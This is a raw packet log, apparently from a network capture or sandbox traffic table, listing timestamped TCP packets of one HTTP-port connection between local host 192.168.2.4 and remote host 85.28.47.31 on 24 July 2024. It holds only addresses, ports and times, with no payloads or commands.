Jul 24, 2024 02:39:07.166760921 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166764975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166781902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166795015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166806936 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166825056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166857958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166862011 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166888952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166918039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166924000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166924000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166948080 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166949987 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166975975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166976929 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167009115 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167027950 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167234898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167279959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167284966 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167309999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167335033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167340040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167361021 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167370081 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167386055 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167399883 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167424917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167429924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167443991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167460918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167483091 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167490959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167510033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167525053 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167553902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167557001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167572021 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167586088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167612076 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167615891 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167640924 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167645931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167659044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167675972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167701960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167706013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167720079 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167737007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167763948 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167767048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167782068 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167798996 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167829037 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167829990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.167853117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.167876959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.168107033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.168148994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.168159962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.168180943 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.168195963 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.168215990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.168230057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.168251038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.168277979 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.168283939 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.168298006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.168317080 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.168330908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.168350935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.168364048 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.168400049 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.258786917 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.258832932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.258852959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.258968115 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.258984089 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259001017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259032965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259067059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259135008 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259170055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259202003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259233952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259268045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259325981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259335995 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259335995 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259335995 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259357929 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259392023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259423018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259455919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259488106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259488106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259488106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259488106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259488106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259488106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259521961 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259525061 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259543896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259557009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259587049 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259605885 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259619951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259651899 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259680986 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259685993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259717941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259720087 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259737968 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259754896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259773970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259788036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259804964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259823084 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259861946 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259882927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.259939909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259991884 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.259998083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260025978 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260050058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260077000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260104895 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260111094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260127068 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260145903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260164022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260180950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260195971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260214090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260245085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260251045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260268927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260279894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260307074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260324955 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260370970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260404110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260432959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260437012 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260462999 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260471106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260502100 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260521889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260524988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260559082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260567904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260608912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260612011 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260644913 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260678053 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260678053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260704994 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260710955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260721922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260746002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260773897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260778904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260802984 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260812044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.260838985 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.260862112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261034966 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261069059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261097908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261101961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261118889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261135101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261149883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261168957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261181116 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261202097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261219025 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261234999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261253119 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261269093 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261286974 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261303902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261320114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261337042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261360884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261369944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261394978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261403084 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261434078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261436939 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261455059 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261468887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261487007 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261506081 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261521101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261568069 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261584997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261612892 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261642933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261646032 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261662006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261679888 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261691093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261712074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261738062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261744976 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261756897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261778116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261802912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261811972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.261821032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.261859894 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262036085 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262068987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262094021 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262100935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262118101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262134075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262150049 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262167931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262182951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262201071 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262217045 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262234926 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262249947 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262268066 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262300968 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262300968 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262315989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262330055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262358904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262362957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262388945 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262397051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262428045 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262428999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262455940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262464046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262479067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262497902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262514114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262532949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262547970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262582064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262748957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262782097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262815952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262815952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262842894 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262849092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262861013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262881994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262907982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262912989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262928963 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262947083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262962103 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.262979984 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.262995958 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263011932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263030052 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263045073 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263072014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263079882 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263094902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263113022 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263139963 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263145924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263164043 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263178110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263201952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263211012 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263227940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263245106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263278008 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263282061 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263304949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263313055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263328075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263350010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263365030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263400078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263498068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263530970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263565063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263565063 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263587952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263598919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263612986 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263632059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263659954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263664007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263693094 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263696909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263719082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263730049 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263762951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263765097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263780117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263792992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.263824940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.263844967 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.353418112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.353503942 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.353522062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.353565931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.353600025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.353631973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.353666067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.353702068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.353751898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.353802919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.353833914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.353867054 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.353898048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.353929996 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.353962898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.353996992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354017973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354017973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354017973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354017973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354017973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354017973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354018927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354018927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.354029894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354080915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354116917 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354150057 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354182005 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.354206085 CEST	49730	80	192.168.2.4	85.28.47.31
